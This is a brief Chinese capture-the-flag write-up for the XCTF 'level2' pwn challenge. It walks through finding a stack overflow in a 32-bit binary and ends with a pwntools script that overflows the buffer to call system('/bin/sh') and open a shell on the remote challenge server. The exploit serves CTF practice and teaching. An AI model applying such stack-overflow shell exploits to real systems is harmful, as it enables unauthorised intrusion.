*pwn*练习3——攻防世界-level2

nc连接,file一下32位的

拖进ida

 看到熟悉的read想到栈溢出,接着搜索字符串找有用的信息

看到了如图花圈的关键字

 于是我们想到利用栈溢出覆盖之前的地址,使之能跳转到system(/bin/sh)

通过控制vulnerable_function()返回到该伪栈帧执行system("/bin/sh")来get shell
然后把system以及bin/sh构造进payload

 bin/sh的地址可以直接找到,system利用plt跳转got,来找到

# -*- coding: utf-8 -*-
from pwn import *
kubopiy=remote("220.249.52.133",46572)#
elf = ELF("./level2")
sysadd=elf.symbols['system']
payload=b'a'*(0x88+0x04)+p32(sysadd)+p32(0)+p32(0x0804A024)#b是字这么多的a,再加一打包好的函地址
kubopiy.recvuntil("Input:")#接收到那一句
kubopiy.sendline(payload)
kubopiy.interactive()



原文地址:https://www.cnblogs.com/kubopiy/p/13566007.html